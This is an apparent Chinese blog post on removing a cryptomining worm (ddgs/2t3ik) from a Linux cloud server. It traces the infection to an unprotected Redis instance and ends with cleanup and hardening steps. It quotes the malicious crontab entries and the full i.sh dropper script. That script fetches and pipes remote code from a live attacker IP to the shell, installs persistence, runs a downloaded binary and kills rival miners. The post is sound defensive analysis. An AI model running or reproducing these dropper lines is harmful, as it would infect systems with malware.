一、问题现象
朋友的阿里云LINUX服务器, 发现有2t3ik与ddgs两个异常进程,把CPU几乎耗尽了。其描述kill掉以后,过一会儿又会重新出现。
2t3ik_worm
二、分析处理
即然kill 后过一会儿又会出现,那就有两种可能:1、crontab定时调用;2、有守护进程,个别病毒还会修改ps和top,通过这些命令无法查看到隐藏的守护进程。先看了下crontab,发现如下两条内容:
*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh
查询了下165.225.157.157这个IP来自美国拉斯维加斯。获取了下i.sh脚本,发现内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
简单的一个shell 脚本,前面是创建crontab定时任务,后面下面了ddgs.i686程序并执行。可以确定就是这个来自美国的国际友人的程序干的坏事了。
删除crontab内容,并kill 掉相关进程后,观察一段时间发现其不再重新出现。问题解决。当然,为避免其后面再出现,可以做以下预防操作:
cd /tmp/
rm -rf 2t3ik.p
rm -rf ddgs.3011
touch 2t3ik.p
touch ddgs.3011
chattr +i 2t3ik*
chattr +i ddgs*
三、产生原因
网上也找了下该病毒的相关信息,了解到其一般是由于安装了redis后,未设置密码或密码太过简单,导致的被入侵。redis密码修改方法如下:
redis-cli -h 127.0.0.1 -p 6379
config get requirepass //获取当前密码
config set requirepass "yourpassword"//设置当前密码,服务重新启动后又会置为默认,即无密码;
永久生效方法为,打开redis配置文件redis.conf,找到requirepass值修改密码,如下:
requirepass yourpassword //此处注意,行前不能有空格
另外,平时还是建议安装chkrootkit、rkhunter、Lynis、ISPProtect这类安全工具,定期做扫描。
分享到:
相关推荐
《Elasticsearch 7.17.3 with IK分词器:深入理解与应用》 Elasticsearch(ES)是一款广泛应用于大数据领域的分布式全文搜索引擎,它以其强大的搜索性能和高可扩展性备受青睐。在本资源中,我们关注的是Elastic...
总之,Elasticsearch Analysis IK插件7.9.3版本是Elasticsearch中文分词处理的关键工具,其强大的分词能力和灵活的配置选项,使得用户能够在处理中文数据时,获得更准确的搜索结果和更好的用户体验。在实际应用中,...
《Elasticsearch Analysis IK插件7.9.3详解》 Elasticsearch作为一个强大的全文搜索引擎,其灵活性和可扩展性深受开发者喜爱。然而,对于中文处理,Elasticsearch原生支持并不理想,这时就需要借助于插件来实现,...
IK分词器(Intelligent Chinese Analyzer for Elasticsearch)是为Elasticsearch设计的一个强大的中文分词插件,能有效地处理中文文本。 三、IK分词器介绍 IK分词器最初由吴晟创建,现已成为Elasticsearch社区中...
3. **手指IK**:精细控制角色的手部动作,支持独立的手指关节运动,可用于更复杂的交互动作,如抓取、投掷等。 4. **动捕集成**:Final-IK与Unity的动捕系统兼容,能方便地将真实世界的动作数据应用到虚拟角色上,...
本文将聚焦于Elasticsearch Analysis IK插件的最新版本——7.13.3在Windows操作系统中的应用与配置,帮助读者深入理解其功能与使用方法。 Analysis IK是Elasticsearch中一个非常重要的分词插件,专为中文处理设计。...
用于elasticsearch7.17.3这个版本的ik中文分词器,考虑到官网有时网络不稳定下载不下来,这里特意上传,方便大家使用; 目录结构如下: config -- 文件夹 plugin-security.policy plugin-descriptor.properties ...
IKAnalyzer是一款基于Java语言开发的全文检索分析器,主要用于对中文文本进行高效的分词处理。在标题中的"IKAnalyzer3.2.5Stable.jar"指的是该软件的特定版本,即3.2.5稳定版的Java档案文件(JAR)。这种格式的文件...
IK分词器以其高效、灵活和全面的特性,被广泛应用于Elasticsearch的中文处理场景。 **版本信息** IK分词器7.17.16版是截至2023年12月24日的最新稳定版本。这一版本的发布旨在提供最新的特性和性能优化,同时也解决...
Final IK是Unity的逆向运动学解决方案的插件。 Final IK包含: 用于Biped骨骼角色的全身IK系统 Biped IK :Unity的内置Avatar IK系统的替代品,提供更大的灵活性,并使用相同的API CCD IK: 循环坐标下降IK Multi-...
在Solr7.x版本中,IKAnalyzer可能已经针对该版本的特性和需求进行了优化,以确保与Solr的无缝配合。 解压"ik-analyzer-solr7.zip"后,你会得到ik-analyzer-solr7.x目录,这个目录包含了IKAnalyzer在Solr中的所有...
ik分词器是Elasticsearch中的一个插件,它负责处理中文文本的分词工作,使Elasticsearch能够理解和处理中文数据。 ### 2. ik分词器的特点 - **灵活性**:ik分词器支持自定义词典,用户可以根据需求添加或删除词汇...
3. **模糊匹配**:为了提高对新词和不常见词的识别率,IK Analyzer支持模糊匹配,允许一定程度上的字符组合。 4. **用户自定义规则**:用户可以通过配置文件设定自己的分词规则,例如停用词、同义词等,以满足特定...
IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载8.12.2版本IK智能分词器下载...
这个资源是ik-analyzer的8.5.0版本,包含了一个名为"ik-analyzer-8.5.0-jar"的JAR文件,它是ik-analyzer的核心库,用于集成到Java项目中进行分词处理。 一、ik-analyzer简介 ik-analyzer的全称是"IK Analyzer智能...
6. **与Elasticsearch集成**:IK分词器与Elasticsearch有良好的集成,安装简单,只需将解压后的`elasticsearch-analysis-ik-7.10.2`目录复制到Elasticsearch的`plugins`目录下即可。 **安装与使用** 1. **下载与...
3. Foot IK:确保角色在行走或跑步时脚部与地面的接触稳定,无论是在平坦还是不规则地形上。 4. Pole Vector IK:用于维持肢体在运动过程中的自然弯曲,比如在行走时保持腿部的自然弧度。 5. One Bone IK:为简单...
此固件与QCA953x芯片组兼容,确保路由器能高效地处理网络流量和管理无线连接。 “breed”是开源的路由器固件恢复系统,其主要作用是在路由器固件出问题时提供一个备份和恢复的平台。通过breed,用户可以轻松刷入新...
Final IK 1.9 是一个强大的插件,主要用于Unity 3D引擎中的骨骼动画系统,它为游戏开发者和动画师提供了高效且灵活的反向动力学(Inverse Kinematics,简称IK)解决方案。这个版本的Final IK是经过优化和升级的1.9...